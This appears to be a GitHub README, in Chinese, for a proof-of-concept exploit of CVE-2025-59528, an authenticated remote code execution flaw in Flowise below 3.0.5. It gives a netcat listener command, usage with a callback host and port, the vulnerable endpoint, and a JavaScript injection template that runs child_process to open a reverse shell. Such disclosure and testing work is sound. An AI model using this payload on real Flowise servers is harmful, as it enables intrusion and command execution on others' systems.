im-nymii/CVE-2025-59528
GitHub: im-nymii/CVE-2025-59528
这是一个针对Flowise CVE-2025-59528漏洞的Python PoC脚本,通过mcpServerConfig注入实现认证后的远程代码执行演示。
Stars: 1 | Forks: 0
[法语版本](README.fr.md)
# CVE-2025-59528 概念验证
专注于在授权环境中对漏洞进行技术验证的最小化 PoC。
## 前置条件
- 您必须拥有目标 Flowise 仪表板上的用户账户。
- 您必须拥有与该账户关联的有效 API 密钥。
- 在运行 PoC 之前,您必须在回调主机上启动一个监听器(例如:`nc -lvn 4444`)。
## 使用示例
首先启动监听器:
```
nc -lvn 4444
```
```
python3 poc.py --domain example.com --host 10.10.10.1 --port 4444 --api YOUR_VALID_API_KEY
```
请用您授权环境的设置替换相应值。
## CVE 摘要
- **受影响产品**:Flowise
- **受影响版本**:低于 `3.0.5`
- **类型**:`远程代码执行`
- **入口点**:`POST /api/v1/node-load-method/customMCP` 端点
问题源于对 `inputs.mcpServerConfig` 的处理方式:该值以一种允许服务器端 JavaScript 执行的方式被解释。实际上,经过身份验证的攻击者可以注入一个调用 `child_process` 并执行操作系统命令的表达式。
## 利用机制
利用流程如下:
1. 构建对 `customMCP` 端点的请求。
2. 在 `mcpServerConfig` 中放入恶意 JavaScript 表达式。
3. 触发 `process.mainModule.require('child_process')`。
4. 执行操作系统命令(`exec`/`execSync`)。
如果请求被接受,服务器将在其系统上下文中执行该命令。
## 此 PoC 工作原理(`poc.py`)
该脚本接受四个参数:
- `-d/--domain`:目标域名
- `-lh/--host`:回调 IP
- `-lp/--port`:回调端口
- `-A/--api`:Bearer API 令牌
然后它执行以下操作:
1. 构建易受攻击的 URL:`http:///api/v1/node-load-method/customMCP`
2. 添加 `Authorization: Bearer ` 头部
3. 准备回调 shell 命令
4. 将该命令注入到 JS 表达式中:
```
({
x: (function () {
const cp = process.mainModule.require("child_process");
cp.exec("");
return 1;
})(),
});
```
5. 发送此 JSON:
```
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": ""
}
}
```
6. 打印 HTTP 状态和原始响应以供验证。
## 为何此 PoC 更优(对比 EDB 52440)
与 EDB PoC(执行电子邮件/密码登录、使用类似浏览器的头信息并运行自由格式的 `--cmd`)相比,此脚本更适合纯粹的 PoC 验证:
1. **更直接**:无需登录流程,不必要的 HTTP 噪音更少。
2. **更低的破坏面**:与前端/认证配置绑定的步骤更少。
3. **适合 CI 自动化**:参数简单,输出快速。
4. **验证更清晰**:立即打印状态码和响应正文。
5. **专注于核心 CVE 路径**:`mcpServerConfig` 注入和服务器端执行。
简而言之:EDB 脚本是一个更通用的攻击演示,而此 PoC 更侧重于技术可复现性。
## 当前局限性
- 假设已存在有效的 API 令牌。
- 不支持 `https` 模式或证书处理。
- 无重试/退避逻辑。
- 回调命令是硬编码的(尚未通过 `--cmd` 参数化)。
## 负责任使用
仅在您拥有或获得明确授权的系统上进行测试。
标签:API安全, CVE-2025-59528, Flowise漏洞, Homebrew安装, JavaScript注入, JSON输出, PoC概念验证, 代码执行, 命令注入, 安全测试, 情报收集, 攻击性安全, 服务器端漏洞, 漏洞研究, 编程工具, 网络安全, 认证漏洞, 远程代码执行, 逆向工具, 隐私保护